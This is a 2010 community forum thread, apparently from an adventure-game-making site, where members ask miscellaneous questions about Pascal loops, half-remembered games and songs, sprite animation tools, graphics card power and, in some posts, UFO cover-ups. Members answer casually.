I don't remember exactly how the while statement is typed out, but wouldn't this work? (it's been years since I've worked with Pascal):


{ *** Main Program *** }

begin
  while (currentstate != 'A')
  begin
    write ('Input a string consisting of the symbols a, b, c, d, and e: ');
    readstring (string, stringlength);
    process (currentsymbol, currentstate, string, stringlength);

    if currentstate = 'A' then
      writeln ('String Accepted :-)');

    else
      writeln ('String Rejected :-(');
  end;
end.
Title: Re: Ask something - We can help.
Post by: Stupot on Tue 23/03/2010 20:19:27
If != means 'not equal to' then that's exactly what I mean, but this version of Pascal doesn't seem to liek that, so I used <> instead.  Also it needed a 'do' to go with the 'while'.

Unfortunately, all I end up with is a reccurring loop of:

Input a string consisting of the symbols a, b, c, d, and e: String Rejected :-(
Input a string consisting of the symbols a, b, c, d, and e: String Rejected :-(
Input a string consisting of the symbols a, b, c, d, and e: String Rejected :-(
ad infinitum.

I think that might be because of an earlier element in the 'readstring' process...


{ *** ReadString Procedure *** }

procedure readstring (var string : stringtype;
                      var stringlength : integer);

var
  i : integer;

begin
  i := 1; 
  while (i <= 12) and (not eoln) do
 
    begin
      read (string [i]);
      i := i + 1;
    end;
 
  stringlength := i - 1;
end;


...which basically tells the program to give the user a chance to input the string before pressing 'enter'... but when we're telling it to go back to the beginning of the program, it's registering that 'enter' has now been pressed, so it is infinitely rejecting empty strings.

Perhaps I can solve this by putting (not eoln) as an initial state... but I don't know how to do that either. :(
Title: Re: Ask something - We can help.
Post by: Questionable on Tue 23/03/2010 20:35:32
Quote from: Rincewind on Mon 01/03/2010 08:47:46
Appreciate the help, everybody, but no, as a Doors-fan I can say that it definitely wasn't "Riders on the Storm" it sampled, even though the lyrics are sort of similar. This sounded more like a cheesy lounge-singer-thingamabob rather than the Lizard King, if you get my drift. I'm pretty sure the lyrics were "[...]I see you riding on a storm[...]", and not "[...]Riders on the storm[...]", and the phrasing was different, too.

The overall mood of it was more that of a cheesy lounge act with a very subtle modern, electronic touch than a techno remix, if you get what I mean... It's really hard to describe it, especially since it was such a long time ago I heard it. Hah.

Haddas: Yeah, goddamnit, you're right! I think we're thinking of the same track, 'cos now that you mention it, I do think there were some cowboys in the video, too... Dancing cowboys, even? Damn, now I'm even more anxious to find this again...

For some reason i'm think of Goldfrapp - ride a white horse...  Though I SERIOUSLY doubt it, I thought i would throw my hat into the pot. Tell us a little bit more about where you heard it/who was singing it/etc-
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Tue 23/03/2010 21:19:18
See, it's been a while since I've used Pascal.  Truthfully it wasn't Pascal, it was Turbo Pascal. :P  But it looks the same.

So all that you're grabbing is a character?  Not a string of characters?

In Turbo Pascal I used to use (forgive me if I'm remembering this wrong) something like this:

var
c: Char;

begin
while (c<>'A' and c<>'B' and c<>'C' and c<>'D' and c<>'E') do
 begin
   c:=readkey; //this grabs the character
 end;
end.


I believe this will work.  Like I said, it's been several years, so I may be wrong. :P
Turbo Pascal was always my free hobby program that I made little graphical games with, then I found AGS and never looked back.
Title: Re: Ask something - We can help.
Post by: Stupot on Tue 23/03/2010 22:44:32
Sorry Ryan, I've only confused matters by posting that second bit of code.  The currentstate 'A' is a totally different kind of value than the char 'a'.  Forget the last few posts and go back to my original Q. where I just displayed the main section of my program.

What I'm asking here is simply to be able to put the whole thing in a loop so that whenever the string is rejected it will go back to the start and give the user another chance to type his string without having to keep running the file each time.
Title: Re: Ask something - We can help.
Post by: Andail on Wed 24/03/2010 16:07:33
A simple language question, one that I could probably look up elsewhere, but anyways; what's the english word or phrase for adding words to a text, in order to make it appear richer and longer, even though you don't really add more useful information? As in "this presentation is good, but you could [] the text a bit."

Edit:
ah, it sprang to mind now; to pad. Or are there better ways to say it?
Title: Re: Ask something - We can help.
Post by: Stupot on Wed 24/03/2010 16:15:35
to pad out sounds more natural that just pad.
Title: Re: Ask something - We can help.
Post by: Andail on Wed 24/03/2010 16:18:22
ok, thanks!
Title: Re: Ask something - We can help.
Post by: Intense Degree on Wed 24/03/2010 16:48:14
Probably not that helpful but I think I would just say "improve".  ;D

Pad out is probably the best bet.
Title: Re: Ask something - We can help.
Post by: Babar on Wed 24/03/2010 17:35:18
"To pad out" would probably imply simply making it longer, not necessarily richer. I think it has negative connotations more than positive.
Title: Re: Ask something - We can help.
Post by: Stupot on Wed 24/03/2010 18:21:36
That seems to me exactly what Andail was asking, Babs.

Quote from: Andail on Wed 24/03/2010 16:07:33...make it appear richer and longer, even though you don't really add more useful information...
Title: Re: Ask something - We can help.
Post by: Jared on Wed 21/04/2010 06:41:08
I get the feeling that I've asked this before but didn't find it in my posts and it's something that has been bugging me for ages... Yahtzee did a game that was called something like "Steve and Perry: Paranormal Investigators" that he only ever released a short demo of.

This may seem a weird thing to be bugging me for ages, but as the amount of writing about Yahtzee has increased over the years I've been amazed at seeing no reference to this game having ever existed, even on his own website. It's enough to make me question my sanity...
Title: Re: Ask something - We can help.
Post by: Questionable on Wed 21/04/2010 09:18:10
Quote from: Stupot on Wed 24/03/2010 16:15:35
to pad out sounds more natural that just pad.

Embellish?
Title: Re: Ask something - We can help.
Post by: ThreeOhFour on Wed 21/04/2010 15:40:08
I'd use 'elaborate' but I think Andail already has his answer.
Title: Re: Ask something - We can help.
Post by: Tuomas on Sun 25/04/2010 11:39:40
Hi. I have a question!

I need to find this great game I had once. I can't remember the name though. And I need to find out if I'm able to play it on my computer.

It was a jump 'n' run platformer with a green handless dinosaur. The dino had a huge head and. Oh, and it was an amiga game. The dino was bright green, not a robot, but a cartoony one. And I believe the game a had an awesome soundtrack... And now that I think of it, I believe the dinosaur was somewhat space related. Maybe.
Title: Re: Ask something - We can help.
Post by: Stupot on Sun 25/04/2010 12:04:27
Hoi? (http://vimeo.com/1778685)

Apparently you can download the complete game from that page aswell.
Title: Re: Ask something - We can help.
Post by: Tuomas on Mon 26/04/2010 17:55:03
Yeah! Man this looks awesome!
Title: Re: Ask something - We can help.
Post by: Oliwerko on Mon 26/04/2010 19:23:44
Speaking of games, I have this unsolved thing:

I remember a game I played most probably on SNES emulator waaay back. I am almost sure it was called "Sink or swim" (but I may as well be totally wrong here). But not that cartoony sink or swim! (http://www.abandonia.com/en/games/638/Sink+or+Swim.html)

This one was about you getting out of a sinking ship, you were a waiter or something (?) and it wasn't at all meant to be cartoony or funny. There were fires, the ship was turning and sinking and you had to make your way out.

I believe I don't remember anything else. It's been years I've been looking for this game with no success.
Perhaps some of you did encounter it?
Title: Re: Ask something - We can help.
Post by: Captain Ricco on Mon 26/04/2010 19:33:28
Quote from: Oliwerko on Mon 26/04/2010 19:23:44
Speaking of games, I have this unsolved thing:

I remember a game I played most probably on SNES emulator waaay back. I am almost sure it was called "Sink or swim" (but I may as well be totally wrong here). But not that cartoony sink or swim! (http://www.abandonia.com/en/games/638/Sink+or+Swim.html)

This one was about you getting out of a sinking ship, you were a waiter or something (?) and it wasn't at all meant to be cartoony or funny. There were fires, the ship was turning and sinking and you had to make your way out.

I believe I don't remember anything else. It's been years I've been looking for this game with no success.
Perhaps some of you did encounter it?

S.O.S., or Septentrion in the japanese version
(http://img175.imageshack.us/img175/2086/sos.png)
Title: Re: Ask something - We can help.
Post by: Oliwerko on Mon 26/04/2010 19:54:00
YAY!  :D

Thanks an awful lot, I've been looking for it for years.
Title: Re: Ask something - We can help.
Post by: Jared on Tue 27/04/2010 06:39:21
...but nobody remember's Yahtzee's paranormal investigator's demo?
Title: Re: Ask something - We can help.
Post by: Tuomas on Tue 27/04/2010 08:14:29
Quote from: Stupot on Sun 25/04/2010 12:04:27
Hoi? (http://vimeo.com/1778685)

Apparently you can download the complete game from that page aswell.

Nah, there's no download link.
Title: Re: Ask something - We can help.
Post by: Misj' on Tue 27/04/2010 08:29:55
Quote from: Tuomas on Tue 27/04/2010 08:14:29
Quote from: Stupot on Sun 25/04/2010 12:04:27
Hoi? (http://vimeo.com/1778685)

Apparently you can download the complete game from that page aswell.

Nah, there's no download link.

Try here (http://www.metinseven.com/goodies-2/en/)...
(it's on the developers website, referenced in Stupot's link; so I assume it's legal)
Title: Re: Ask something - We can help.
Post by: Tuomas on Tue 27/04/2010 08:35:47
Yeah, I mean, I was kind of trying to find out if I could play it on my windows. Also, yes, I know there are emulators, but I can't be bothered.

Downloaded the soundtrack though ^^ http://ftp.df.lth.se/pub/media/soamc/soamc_mix/Digital_Mugician_1/Ramon/dmu.hoi-level-1_T01.mp3 par exemple
Title: Re: Ask something - We can help.
Post by: on Sat 01/05/2010 01:18:23
If anyone has or can find Sunna - Forlorn mp3 please link me! One that isn't a torrent!

Sorted, thank you Fusiomax & Leon !
Title: Re: Ask something - We can help.
Post by: Fusiomax on Sat 01/05/2010 09:26:12
@mods You can just rip it from youtube using any number of programs check out cnet download for programs to do so
http://www.dvdvideosoft.com/products/dvd/Free-YouTube-to-MP3-Converter.htm
thats the one i use its good enough for what i want it to do and it rips the youtube vid's sound into an mp3 so no messing about with other programs.
http://www.youtube.com/watch?v=OpkymfmYFck
and thats the song i believe you are asking about.
I'm listening to it, its really good

Fusiomax

Ooo! Ooo! Ive got a question!

there was this old game for the GBA i used to play, but the name was in japanese and i lost ages ago.
I only remember a few of things about it:
1) you played a young man living with his mother who's father died(?)
2)all you have to remember your father is an amulet
3)when you get to a certain age(the age you are in the game) there is this sort of ritual where you give up something close to you, in this case the amulet, answer some questions and a creature is summoned to be your companion.
4)there were a few different ones that could appear the only one i can remember is this kangaroo with red boxing gloves that could perform lightning attacks.
5)you, as do all young men/women, enter a tournament to get a scholarship as a smith.
6)it is based in a sort of pok'e'mon-esque(game boy versions, you know that sort of birds-eye view) view point when you are wandering around town.
7) when you go into a battle it goes all beatem up.
8)you can collect materials(ores and the likes) and craft weapons for you to battle with.
9)there were a few different weapons you could craft such as: these calw l;ike drills that sit over your firsts, different types of swords(broad, short, long), axes(great, small) and spears.

I know it was long and half opf it may have made no sense.

if anyone recognises the game please tell me what its called.

ThankYou

Fusiomax
Title: Re: Ask something - We can help.
Post by: Bulbapuck on Wed 05/05/2010 10:05:58
Here's something I've been wondering for quite some time.

How do you do "semi-transperency"?

Like the feathers in my signature for instance, they have several pixels that aren't fully transparent, just somewhat transparent. How do you do that?

I'm using GraphicsGale and I've always had a lot of problems with normal transperency even. Can you do "semi-transperency" in GG or do I have to change program? Because looking through the manual, I found nothing...
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Wed 05/05/2010 10:14:17
semi transparency is done with an alpha channel.. or rather an 8bit alpha channel.

you can think of an individual pixel as 3 numbers. 0-255 for red, blue and green.

Now add another number (again from 0 to 255) for 'alpha'. This determines the transparency.

GG *does* support alpha channels but i've no idea how they work in practice..

in photoshop or gimp though you can set the transparency of your brush/pen tool before you use it.
Title: Re: Ask something - We can help.
Post by: Bulbapuck on Wed 05/05/2010 10:50:56
I guess I'll try gimp then.

Thank you Calin!
Title: Re: Ask something - We can help.
Post by: on Sun 06/06/2010 13:44:14
http://books.google.it/books?id=ve8pAAAAYAAJ&pg=PA272&lpg=PA272&dq=%22i+am+now+beginning%22+laurence+sterne+lines&source=bl&ots=6ME640DrTF&sig=Hqbi58ypQApj1Yjq1pdBsr2Z5BU&hl=it&ei=nJcLTK2ZO9CnOO2e8O0O&sa=X&oi=book_result&ct=result&resnum=1&ved=0CBwQ6AEwAA#v=onepage&q&f=false

Can someone please explain me these pages? I wish my wit was as sharp.
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Sun 06/06/2010 13:56:27
Ok now I think I get it.

Tristram Shandy explains things in a very verbose and odd way.

I think what he is getting at here is the explanation of his life thus far through the previous volumes.. the curves indicate diversions from the 'straight path' where he goes off on a tangent.

some of the loops slant forwards to indicate a brief look into the future on some tangential note before coming back to the present day (in the sense of the narrative anyway)
Title: Re: Ask something - We can help.
Post by: Dualnames on Sun 06/06/2010 13:59:35
To add more, I think he just says how much he strayed from the path he originally planned to write the book.
I am probably dead wrong.
Title: Re: Ask something - We can help.
Post by: on Mon 07/06/2010 13:22:29
Is there any way whatsoever to Invert look on Star Wars Battlefront for PS2?
Title: Re: Ask something - We can help.
Post by: on Sat 19/06/2010 02:24:30
...there is no way to invert it :( Nor in Sith Lords!  >:(

If anyone can audio grab "I made this!" from the end of an X Files episode that would be splendiforous for me :)
Also audio of that classic logo: DIC!
And if anyone has a full version of the shh! Gracie Films logo music to boot... you're a pal :)
Title: Re: Ask something - We can help.
Post by: straydogstrut on Sat 19/06/2010 04:35:47
Hi Mods,

Let me know if these are suitable:

imadethis.mp3

imadethislong.mp3

graciefilms.mp3

xfilesintro.mp3

xfilesoutro.mp3


DIC Logo - No luck so far, sorry. Unfortunately we don't seem to have any of the films/shorts listed as being produced by DIC (now Cookie Jar Entertainment) (http://en.wikipedia.org/wiki/List_of_Cookie_Jar_Entertainment_programs), so unless you can suggest another film, it's a bit like looking for a needle in a haystack, sorry. But I haven't really looked online yet, so maybe you could get it off YouTube?

Cheers
Title: Re: Ask something - We can help.
Post by: NsMn on Sat 19/06/2010 18:53:56
What was first, chicken or egg?
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Sat 19/06/2010 19:00:32
The egg.

For a chicken egg to be considered a chicken egg it needs to have a chicken inside it but it does *not* have to be laid by a chicken.

So the first egg which could be considered a chicken egg must have been laid *before* the first chicken since chickens come from eggs.
Title: Re: Ask something - We can help.
Post by: Tuomas on Sat 19/06/2010 19:05:03
The chicken.

For an egg chicken to be considered an egg chicken it needs to have an egg inside it but it does *not* have to be laid by an egg.

So the first chicken which could be considered an egg chicken must have been laid *before* the first egg since eggs come from chickens.
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Sat 19/06/2010 19:06:07
I think you just proved my point :p
Title: Re: Ask something - We can help.
Post by: Dualnames on Sat 19/06/2010 19:41:26
The chicken.

The egg is part of the reproduction of the chicken, therefore could not exist without the chicken being there in the first place.
Title: Re: Ask something - We can help.
Post by: IndieBoy on Sat 19/06/2010 19:45:02
Why do people care?
Title: Re: Ask something - We can help.
Post by: Stupot on Sat 19/06/2010 19:47:42
Haha Tuomas, you just put me in stitches.  ;D
Title: Re: Ask something - We can help.
Post by: NsMn on Sat 19/06/2010 19:56:17
I'd say the chicken.


If the egg had been first, it would have been roundhousekicked by Chuck Norris, and we wouldn't have any chickens today.
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Sat 19/06/2010 20:23:43
That's like asking: What was first, human or embryo?
If you think about it, it's basically the same question.
Title: Re: Ask something - We can help.
Post by: Stupot on Sat 19/06/2010 20:27:12
I'm sure there were other animals that laid eggs long before the chicken was invented.
Title: Re: Ask something - We can help.
Post by: straydogstrut on Sat 19/06/2010 20:33:52
Quote from: Stupot on Sat 19/06/2010 20:27:12
I'm sure there were other animals that laid eggs long before the chicken was invented.

Lol, I like that: invented. I have visions of Blade Runner-style robotic chickens everywhere..
Title: Re: Ask something - We can help.
Post by: on Sun 20/06/2010 00:29:16
Quote from: straydogstrut on Sat 19/06/2010 04:35:47
Hi Mods,

Let me know if these are suitable:Cheers

Great straydogstrut, yes they are perfect - thanks! Awesome little stings for my next disco - if perhaps a tad geeky ;D Thanks for the great quality audio. I can't get videos from YouTube but that's the least of my worries. I have no idea how to get vista to record stereo-mix! And it doesn't handle 16 MIDI channels very well either. I wish I had XP back! Many thanks though. May want to edit those links out! Keep an eye out for [the] suited men [from Fox] following you/me around. Take care  :=

PS. Ahh the DIC logo is pretty rubbish in comparison to those two! I found low quality versions on YouTube but that's all. You may find it at the end of a Real Ghostbusters animation, or Adventure Sonic Hedgehog TV show. But if not do not worry. You've provided plenty. Thanks again!
Title: Re: Ask something - We can help.
Post by: LimpingFish on Sun 20/06/2010 01:25:24
Quote from: Mods on Sun 20/06/2010 00:29:16
I have no idea how to get vista to record stereo-mix! And it doesn't handle 16 MIDI channels very well either. I wish I had XP back!

The "What U Hear" or Stereo-Mix option has (some say) been disabled in Vista - up to date installations of Vista, anyhow.

I had the ability, and lately...I' don't. A lot of audio capture programs have ceased working - you can still choose to record from these outputs, but no sound is captured.

The only solution I have found is the latest I-Sound Recorder (http://www.abyssmedia.com/isound7/)  from Abyssmedia. Or you can just connect your Line-out port to your Line-in port and shazam!

You can find out more here (http://www.stereo-mix.com/).
Title: Re: Ask something - We can help.
Post by: straydogstrut on Mon 21/06/2010 12:51:59
@Mods You're very welcome. I just ripped them off the dvds and chopped them up in Audacity. Other than that, i'm a bit clueless when it comes to sound editing, so i'm glad they turned out okay. I'll edit the links out in a couple of days, just let me know if you need them again.

--

I have a question of my own now. I'm posting here since I suspect this has been asked many, many times before, but I can't find an answer in the forums, sorry, and the search function crashes on me quite frequently=S

I want to know what programs folks would recommend for animating their sprites for showing on the forum? Not worried about in AGS since it handles it anyway, but how do people generate their gifs for competitions etc?

I know there's at least two huge topics on drawing applications and i've been through most of the ones that export gifs already, but i've had issues with each. I would normally use Photoshop > ImageReady i guess, but my computer's away for repair and i'm stuck with the crappy family pc until next week. So I've been trying to find some free alternative, preferably something that has layers and onion-skinning (I don't know how people make sprites without it in MSPaint anyway?)

Two that have come close are GraphicsGale and Pencil, and i've made all my frames in GG, but the free version of GG doesn't do gifs and I can't get the transparent backgrounds to export for some reason. Pencil is nice but a bit rough around the edges and artefacts appear when moving stuff around. I've gone through so many others, i've lost count now.

So, what would people suggest for exporting animations to show on the forum?

Thanks all
Title: Re: Ask something - We can help.
Post by: Jim Reed on Mon 21/06/2010 15:04:54
Beneton Movie GIF is a lightweight tool for animating gifs that I use. It will auto convert PNG and BMP to GIF and has support for transparency. It's freeware.
(Thanks, NsMn!)
Title: Re: Ask something - We can help.
Post by: Anian on Mon 21/06/2010 17:10:31
Quote from: Jim Reed on Mon 21/06/2010 15:04:54
Beneton Movie GIF is a lightweight tool for animating gifs that I use. It will auto convert PNG and BMP to GIF and has support for transparency. It's freeware.
(Thanks, NsMn!)
Hmm, this is cool. Kinda avoids the limitation of the Graphicsgale free version...which is cool legit way of doing stuff.  :)
Title: Re: Ask something - We can help.
Post by: straydogstrut on Mon 21/06/2010 17:12:02
Awesome Jim, works like a charm. Thanks=)
Title: Re: Ask something - We can help.
Post by: on Tue 22/06/2010 02:17:58
What I'd like to know is why every country is releasing documents on UFO's except the one country that has supposedly formed an alliance with ET's, the USA. Could it be that they really have and can't afford for people to find out? I'm going with yes, but I'd like to know anyone elses thoughts - especially Americans - how it feels to be outclassed by every other government on such a subject. It seems we're finding more truth and stability on the subject but America hold firm there are no such things as aliens. How long will it really be until the American government become transparent? I feel sorry for you folk, being lied too and treated like morons. A country so willing to be at the forefront of everything & anything yet holding back from the rest of the world the greatest discovery of mankind. It's almost as if the other countries are anticipating a radical rethinking, and also trying to avoid mass riots when the truth does come out. Every day they hold back the evidence is another day the wound grows  :-\

Anyway, Fish - many thanks. Line out to line in...seems so wrong, but I will definitely try it :)
Title: Re: Ask something - We can help.
Post by: GarageGothic on Tue 22/06/2010 02:41:28
Obviously the aliens told them to keep it secret, Mods. Either that, or those trigger-happy yanks killed the ET's on first contact and are ashamed to admit it. I'd be more interested to hear what credible evidence of extraterrestrial visitations you've found among the materials released by other countries.
Title: Re: Ask something - We can help.
Post by: on Tue 22/06/2010 03:08:22
For me it's more the fact that other countries have openly collected & openly released UFO files but the US hasn't, and sits on a veil of secrecy about it almost in a childish manner. Not one official document. Although - saying that Bigelow aerospace are now opening up to the possibilities. And for me it's the fact that it's US military personel, astronauts and pilots that make up the majority of credible witnesses but their own government laugh it off in their faces. But other countries don't treat their military, space or pilots like that. It just seems backwards, out-dated and decietful.

I think you have a good point though GG. Cameron was not long ago asked about aliens and he said he would do what he could in his power to find some truths. Obarmy-army was asked the same thing and just joked it off, twice. He likely is in the know and has been advised to play it down.

As for credible evidence, well, you'd need to just look into cases for yourself. After a while you'll see patterns, see consistency in reports and (hopefully) realise there is just no way it can all be crackpot accounts. People who say hicks give all the reports (and should be dismissed because they are hicks) are, well, hicks themselves for thinking that way. About 10% of reports come from people who seem not so intelligent. The other 90% are intelligent sources.

http://en.wikipedia.org/wiki/Valentich_disappearance

Meh, anyway - moot point. I'm not here to try and persuade or whatever. I just feel you're being cheated, and it's a shame for you guys. Something is going on and the rest of the world is opening its eyes to it, but USA isn't. WHY!!!! Grrr  ::)
Title: Re: Ask something - We can help.
Post by: Stupot on Tue 22/06/2010 03:15:47
Quote from: Mods on Tue 22/06/2010 02:17:58
What I'd like to know is why every country is releasing documents on UFO's except the one country that has supposedly formed an alliance with ET's, the USA.

Because they're the only country that really knows that ETs are nowhere near Earth.  Because Roswell was a fabrication to keep the public distracted from other activites...  such as, but not exclusive to, staging the Moon Landings in Area 51...

*dons flame-proof suit and hides*
Title: Re: Ask something - We can help.
Post by: on Sat 26/06/2010 00:41:15
Ahh gay I wish it didn't have to come to this, but, if you can help fund ben jordan 2 movie please PM me.  := Pledge me. It can happen on about $200. Exec producer credits all round 8)
Title: Re: Ask something - We can help.
Post by: InCreator on Sat 26/06/2010 02:05:31
Quote from: Mods on Tue 22/06/2010 02:17:58
What I'd like to know is why every country is releasing documents on UFO's except the one country that has supposedly formed an alliance with ET's, the USA.

...Or maybe because that particular country earns billions from UFO myths through literature, games, TV-shows and movies?
Title: Re: Ask something - We can help.
Post by: Anian on Sat 26/06/2010 02:11:36
Quote from: InCreator on Sat 26/06/2010 02:05:31
...Or maybe because that particular country earns billions from UFO myths through literature, games, TV-shows and movies?
Entertainment industry earning profit from unproven stories, myths and superstitions? Don't be ridiculous.
Title: Re: Ask something - We can help.
Post by: OneDollar on Sat 26/06/2010 20:50:32
I got a good-spec second hand graphics card from someone who was moving house and didn't want their old computer. It works really well, but when I push it with games like Bioshock and Fallout 3 on high settings I occasionally get a pattern of small single-coloured squares appearing in front of some textures. They disappear again after a split second. I've tried to screenshot them, but either I'm missing them or they're not showing up on screen captures. In Fallout (where I see them more regularly) I think they mainly appear on objects that are nearer to the screen - for example when talking to characters or looking at the PIP boy. They don't seem to cause any problems with the game, no slow downs or crashes and I've played for hours without any problems. They're just an annoying visual glitch.

Anyway, to try and find the problem I had a look at the power requirements of the card, then the output of my power supply. My supply has a max output of 375 Watts, and the card lists its requirements as 450 Watt or greater (with 75 Watt 6-pin PCI-E power connector recommended).

So my questions:

1) Is the lack of power likely to be causing the glitches I mentioned?

2) More importantly, am I or could I be doing any damage to my computer by running the card in combination with this power supply?

The card is an ATI Radeon HD 4850 (by PowerColor if that makes a difference).
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Sat 26/06/2010 22:33:34
Yea a lack of power for a graphics card can cause those kinds of issues but I dont think an undersupply of power is damaging to your system.

Other possible causes are overheating (which is a very likely possibility) and memory damage (less likely)
Title: Re: Ask something - We can help.
Post by: GarageGothic on Sat 26/06/2010 22:48:54
Well, undersupply of power may not damage the system, but I'm pretty sure it could burn the power supply itself. Also a overworked power supply could be causing the overheating. The colored square artifacts are exactly what I got before my old graphics card died - turned out the fan on the card had stopped working. Got it moving again by applying some oil, but after a couple of months something started smelling strange and it turned out the fan had simply melted off it's axle (pro-tip: don't use WD-40 as a replacement for proper fan lubrication).
Title: Re: Ask something - We can help.
Post by: InCreator on Sun 27/06/2010 12:02:12
@OneDollar

I doubt problem lies in power supply -- sounds either driver or overheating problem. Well, heating CAN come from PSU issues, but it's still somewhat unlikely.

I'd try first to downgrade drivers to last version released while this card was "hot".
It worked well with my GF5700LE when Portal and Medal of Honor had all kinds of glitches on screen, don't know much about ATI cards, because I never bought one.

Overheating is a plausible version too, observe temperature. Also, try all settings on lowest and see if glitch still appears. Or open case, room windows and point ordinary fan at where card is.
Title: Re: Ask something - We can help.
Post by: on Mon 28/06/2010 17:51:49
Just wondering if anyone has the "My games" section (of your profile) figured, and how it orders the list?

The last few I've worked on have been added at the bottom but the most recent addition is in the middle of the list. It's not alphabetical and doesn't seem to be date related now either, any ideas?

It's not a problem. I just get confused by it :)
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Mon 28/06/2010 18:51:06
I know, you'd think it would sort by ID number, which the lowest numbers would be the oldest releases.  I've also been quite confused by it and I can never rely on it as a correct timestamp.
Although only two games in my profile are in the wrong order of each other.  Yours on the other hand is crazy.
Title: Re: Ask something - We can help.
Post by: OneDollar on Mon 28/06/2010 20:44:49
Thanks for the responses. I might see if I can borrow a power supply for testing, or maybe try and get a feel for how hot the card and supply are getting when I start pushing them. Overheating is quite possible as the computer's in an attic that gets very hot over the summer (though I've got the windows open whenever my PC is on).

Quote from: GarageGothic on Sat 26/06/2010 22:48:54
I'm pretty sure it could burn the power supply itself.

Yeah, that's what I'm most concerned about. I suppose if the power supply burns out I'll replace it with one that has enough power. As long as it doesn't short the motherboard and total the computer at the same time :-\
Title: Re: Ask something - We can help.
Post by: on Tue 29/06/2010 14:26:08
Strange eh Ryan. Another unsolved AGS mystery :)

Anyway, right now I'm looking for An American who's happy to start up a Kickstarter project for me, because with kickstarter you need "a US bank account and address are required to start a project." It's to fund the BJ movie sequel.

It won't take long to set up, I can walk you through it. The main problem will be transferring the money across to me via PayPal, but I will give you a percentage of the pledges to cover any costs and also imburse you for your time.

Please PM me ASAP cos it's pretty urgent!
Title: Re: Ask something - We can help.
Post by: Stupot on Tue 29/06/2010 19:26:02
Mods, why don't you have a gander here:

http://www.indiegogo.com/

It's a kind of similar concept to Kickstarter, but open to more countries, including the UK.

Looks really useful, and there are some cool projects by the look of things.
Title: Re: Ask something - We can help.
Post by: on Wed 30/06/2010 00:30:21
Wow, thanks Stupot- never knew there was one that attatched Paypal. It seems to be avading the Kickstarter website like it's some unknown technology.

Still, here's the page :)

http://www.indiegogo.com/Ben-Jordan-2

If it gets anywhere near 250 I will drop it and make that the final pledgeable amount.
Title: Re: Ask something - We can help.
Post by: Rincewind on Wed 30/06/2010 16:21:22
Quote from: Rincewind on Sun 28/02/2010 23:52:55
Arr, I'm in desperate need of some help right now.
I have this song playing in my head that I heard about ten years ago that I would love to find again, but as usual, I don't know who did it or what it's called. All I know is this:

- Musically, I seem to remember it as a mix between an organ/keyboard-melody and a more modern, dance-oriented beat(though still a rather subtle one) Rather repetitive, most likely intended to be a club-hit or something.

- There was also more or less one vocal line repeated constantly throughout the whole thing - If I remember it correctly it was something like "I see you ride o-on a storm / I see you ride o-on a storm / I see you ri-i-ding on a storm", sung in a rather cheesy, crooning, baritone-like voice. I'm not sure if this is sampled from some other song or if this was actually written for this track, though.

- The music video for the song featured an extremely and deliberately kitschy/colorful 50's/60's-styled party in a living room or something similar, with an equally kitschy/campy live-band playing the song in question.

The one time I heard the song and saw the video was through the Swedish tv-show "Mosquito" that aired between 1998 and 2001, and showcased new music/visuals/3D-graphics, so I suppose it's most likely a song made somewhere in between that timeframe. Anyone who has the slightest idea what this song might be, do please tell, because I think I'm going insane from hearing this song play in my head and not being able to find out what it's called...


Woohoo! Finally a friend of mine found the answer to this question that was more or less driving me mad. So I just felt the need to share with you what song I was looking for - It's a dutch dance track called "Ridin'" from 1996 by an act called Doop: http://www.youtube.com/watch?v=sSeu0jmF-oA&feature=player_embedded

I have to say it's better than I remember. (and the video is even campier/kitschier than I remember)
Title: Re: Ask something - We can help.
Post by: Stupot on Thu 08/07/2010 03:05:03
Okay, easy question, but I'm really ignorant in this department.
What's a good, free, video editing software, that will get me a youtube compatible video at the end of it.

I want to take two videos from youtube, and simply rip the audio from one and put it over the top of the other one.

That literally all I want to acheive, and the end result is going to be beautiful, because I've already acheived it by watching one video with the audio of the other video running in the background, and the result nearly brought me to tears.

Cheers.
Title: Re: Ask something - We can help.
Post by: TerranRich on Thu 08/07/2010 03:14:45
www.tubedubber.com does it for you online, but you can't save it as far as I know.
Title: Re: Ask something - We can help.
Post by: Stupot on Thu 08/07/2010 04:03:25
Ahh that's a cool site Terran.  But actually I stil want to keep the audio of the original video, but just with the extra audio on top of it.

Basically, it's one of my favourite scenes from one of my favourite TV shows, and playing one of my favourite songs while I watched the scene I was amazed at house they slotted together perfectly... uncannily perfect.  So I want to make it into a single video, and show it off.  Haha, god I'm sad...
Title: Re: Ask something - We can help.
Post by: Virgil on Thu 08/07/2010 04:09:28
http://www.youtubedoubler.com (http://www.youtubedoubler.com) is your place. Just mute the video you don't want sound on. You'll be watching the second video but it'll work.
Title: Re: Ask something - We can help.
Post by: Mati256 on Thu 08/07/2010 04:26:11
If you are running windows just try the "Windows Movie Maker".
Title: Re: Ask something - We can help.
Post by: Tuomas on Tue 13/07/2010 12:11:16
So I'm looking for a couple of games again, I get so nostalgic at times since I no longer have my Amiga 1200 :(

The game had a direct sky view, though, kind of like SimCity originally had. I remember the scenery was rather dull. You were what might have been a different planet, setting your base near a lake of black liquid (oil?) that was used as a resource. You were to build your own roads between the buidings you had, and there'd be traffic also, shown on the roads as moving tiny blocks, just as in Sincity 2000. Basically I first thought it was a strategy game, but I can't remember any fighting/wars in it. Just a terribly hard city-building simulator for a kid like me who, at the time, didn't speak English at all. Anyway, this is really vague, but I'd love to see some screenshots again, maybe read about it and play it. I should mention that to my knowledge, this was not a mainstream game, I remember getting it from a collection CD, we had a lot of those.


Another one was a turn based assault kind of game that reminds me of Fallout. You'd have 4 guys going around a place which I never quite figured out (the game was rather hard). The 4 guys would be far apart to begin with, and you'd move each one in a turn. We'd play it with 2 players, just taking turns with my brother. Each character had a name and a weapon or two, and you'd go around this maze-looking building killing bad guys. Nothin original there. This one was also a view from straight above, so the characters would be more like round balls with a gun stiking out of them, showing which way he's looking. I remember this game had a bug in that there was no weight limit to your inventory, so once it got full you could start stuffing backbags inside one another. You pick up keycards and knives and firearms as you went along... I think. :D The scenery was either post-apocalyptic or a space-one!


Man. Thinking of all these games made me thing of a couple of great games I used to play.

Virus (http://upload.wikimedia.org/wikipedia/en/f/f5/Virus-amiga-screenshot.gif) was a great game.
